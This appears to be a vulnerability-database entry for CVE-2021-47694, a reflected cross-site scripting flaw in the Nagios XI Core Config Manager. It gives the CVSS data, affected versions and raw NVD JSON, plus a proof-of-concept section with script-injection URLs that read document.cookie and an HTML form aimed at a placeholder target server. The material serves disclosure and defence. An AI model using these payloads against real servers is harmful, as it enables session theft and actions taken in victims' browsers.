Security Vulnerability Report
中文
CVE-2021-47694 CVSS 6.1 MEDIUM

CVE-2021-47694

Published: 2025-10-30 22:15:41
Last Modified: 2025-11-06 18:19:36

Description

The Core Config Manager (CCM) in Nagios XI versions prior to CCM 3.1.4 / Nagios XI 5.8.6 contains a reflected cross-site scripting (XSS) vulnerability via the Test Command functionality. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI Core Config Manager (CCM) < 3.1.4
Nagios XI < 5.8.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2021-47694 PoC - Reflected XSS in Nagios XI CCM Test Command --> <!-- Attack Vector: Inject JavaScript via Test Command parameter --> <!-- Malicious URL Pattern --> <!-- https://<target>/nagiosxi/includes/components/ccm/ --> <!-- ?cmd=modval&test=command&val1=<script>alert(document.cookie)</script> --> <!-- Example PoC URL --> <!-- https://vulnerable-server/nagiosxi/includes/components/ccm/ --> <!-- ?cmd=modval&test=command&val1=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E --> <!-- HTML Form PoC --> <!DOCTYPE html> <html> <head> <title>CVE-2021-47694 PoC</title> </head> <body> <h2>Nagios XI CCM Reflected XSS PoC</h2> <form action="https://TARGET_SERVER/nagiosxi/includes/components/ccm/" method="GET"> <input type="hidden" name="cmd" value="modval"> <input type="hidden" name="test" value="command"> <input type="hidden" name="val1" value="<script>alert(document.domain)</script>"> <input type="submit" value="Click to Trigger XSS"> </form> <p>Replace TARGET_SERVER with the vulnerable Nagios XI server address.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47694", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:40.810", "lastModified": "2025-11-06T18:19:35.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Core Config Manager (CCM) in Nagios XI versions prior to CCM 3.1.4 / Nagios XI 5.8.6 contains a reflected cross-site scripting (XSS) vulnerability via the Test Command functionality. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}, {"lang": "es", "value": "El Core Config Manager (CCM) en Nagios XI Versiones anteriores a CCM 3.1.4 / Nagios XI 5.8.6 contiene una vulnerabilidad de cross-site scripting (XSS) reflejado a través de la funcionalidad Test Command. La validación o el escape insuficientes de la entrada proporcionada por el usuario pueden permitir a un atacante inyectar y ejecutar scripts arbitrarios en el contexto del navegador de una víctima."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.6", "matchCriteriaId": "099060EC-134A-4122-8DC5-C2F60220443C"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-ccm-reflected-xss-via-test-command", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}